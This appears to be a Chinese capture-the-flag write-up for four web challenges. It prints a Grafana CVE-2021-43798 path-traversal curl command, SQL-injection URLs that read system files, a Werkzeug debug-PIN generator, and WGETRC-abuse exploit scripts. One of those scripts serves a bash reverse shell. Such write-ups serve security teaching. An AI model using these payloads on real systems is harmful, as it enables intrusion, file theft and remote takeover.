Web oh-my-grafana
CVE-2021-43798 任意文件读
1 curl --path-as-is http://123.60.106.123:3000/public/plugins/alertGroups/../../../../../../../../etc/grafana/grafana.ini -O
admin 密码:5f989714e132c9b04d4807dafeb10ade datasource 处有 MySQL 执行 SQL 语句,在 grafana.fffffflllllllllaaaagggggg 的 flag 列找到 flag
1 select flag as value , now() as time from grafana.fffffflllllllllaaaagggggg;
oh-my-notepro http://121.37.153.47:5002/view?note_id=%27 SQL 注入 可以 sqlmap 一把梭,数据库里面没啥东西,不能 load_file 不存在的 id 触发 flask debug 信息,说明 flask 是 debug modehttp://121.37.153.47:5002/view?note_id=dg0twql9j6hs37ar7gt9kr60utztfqh 无意间通过 sqlmap dump-all 蹭车,发现有人读了文件 研究后发现是 MYSQL_LOCAL_INFILE 开启 任意文件读,然后根据 Werkzeug 2.1.1 版本 PIN 码生成策略(get_machine_id 为拼接 /etc/machine-id 和 /proc/self/cgroup 第一行 / 后字符串),读对应文件生成 PIN
1 2 3 4 5 6 7 8 9 10 11 http://123.60.72.85:5002/view?note_id=%27;create table result0 (value longtext); load data local infile '/sys/class/net/eth0/address' into table result0; select '1 http://123.60.72.85:5002/view?note_id=%27 union select 1,2,3,group_concat(value),5 from result0 where '1'='1 http://123.60.72.85:5002/view?note_id=%27;create table result1 (value longtext); load data local infile '/etc/machine-id' into table result1; select '1 http://123.60.72.85:5002/view?note_id=%27 union select 1,2,3,group_concat(value),5 from result1 where '1'='1 http://123.60.72.85:5002/view?note_id=%27;create table result2 (value longtext); load data local infile '/proc/self/cgroup' into table result2; select '1 http://123.60.72.85:5002/view?note_id=%27 union select 1,2,3,group_concat(value),5 from result2 where '1'='1
Pin:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from sys import *import requestsimport refrom itertools import chainimport hashlib def genpin (mac,mid ): probably_public_bits = [ 'ctf' , 'flask.app' , 'Flask' , '/usr/local/lib/python3.8/site-packages/flask/app.py' ] mac = "0x" +mac.replace(":" ,"" ) mac = int (mac,16 ) private_bits = [ str (mac), str (mid) ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance (bit, str ): bit = bit.encode("utf-8" ) h.update(bit) h.update(b"cookiesalt" ) num = None if num is None : h.update(b'pinsalt' ) num = f"{int (h.hexdigest(), 16 ):09d} " [:9 ] rv = None if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = "-" .join( num[x : x + group_size].rjust(group_size, "0" ) for x in range (0 , len (num), group_size) ) break else : rv = num return rv def getshell (): print (genpin("02:42:ac:1e:00:03" ,"1cc402dd0e11d5ae18db04a6de87223d9699b2deaa1cc58219efebace7906c5ee60c3d74d2bfa88c8db536b0cc5d4e2f" )) if __name__ == '__main__' : getshell()
用 console 反弹 shell,执行 /getflag 获得 flag。
oh-my-lotto 上传 /app/guess/forecast.txt 后可以设置任意 WGETRC 考虑设置 http_proxy 为服务器上返回与上传 forecast 相同内容的 HTTP 端口,绕过 lotto,得到 flag
exp.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import requests target = 'http://121.36.217.177:53000' requests.post(target+'/forecast' , files={ 'file' : ('forecast.txt' , 'http_proxy = http://xxx.xxx.xxx.xxx:12345' ) }) r = requests.post(target+'/lotto' , data={ 'lotto_key' : 'WGETRC' , 'lotto_value' : '/app/guess/forecast.txt' }) print (r.content)
server:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from flask import Flask, make_responseapp = Flask(__name__) @app.route('/' ) def index (): response = make_response('http_proxy = http://xxx.xxx.xxx.xxx:12345' ) response.headers['Content-Type' ] = 'text/plain' response.headers['Content-Disposition' ] = 'attachment; filename=lotto_result.txt' return response if __name__ == '__main__' : app.run(debug=True , host='0.0.0.0' , port=12345 )
oh-my-lotto-revenge 还是 wgetrc,使用 output_document = /usr/bin/wget 覆盖 wget 即可
exp.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import requests target = 'http://124.71.204.16:53000' requests.post(target+'/forecast' , files={ 'file' : ('forecast.txt' , '''output_document = /usr/bin/wget\nhttp_proxy = http://xxx.xxx.xxx.xxx:12345''' ) }) requests.post(target+'/lotto' , data={ 'lotto_key' : 'WGETRC' , 'lotto_value' : '/app/guess/forecast.txt' }) requests.post(target+'/lotto' , data={ 'lotto_key' : '1' , 'lotto_value' : '1' })
server:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from flask import Flask, request, make_responseapp = Flask(__name__) @app.route('/' ) def index (): response = make_response("#!/bin/sh\nbash -c \"bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/12346 0>&1\"" ) response.headers['Content-Type' ] = 'text/plain' response.headers['Content-Disposition' ] = 'attachment; filename=lotto_result.txt' return response if __name__ == '__main__' : app.run(debug=True , host='0.0.0.0' , port=12345 )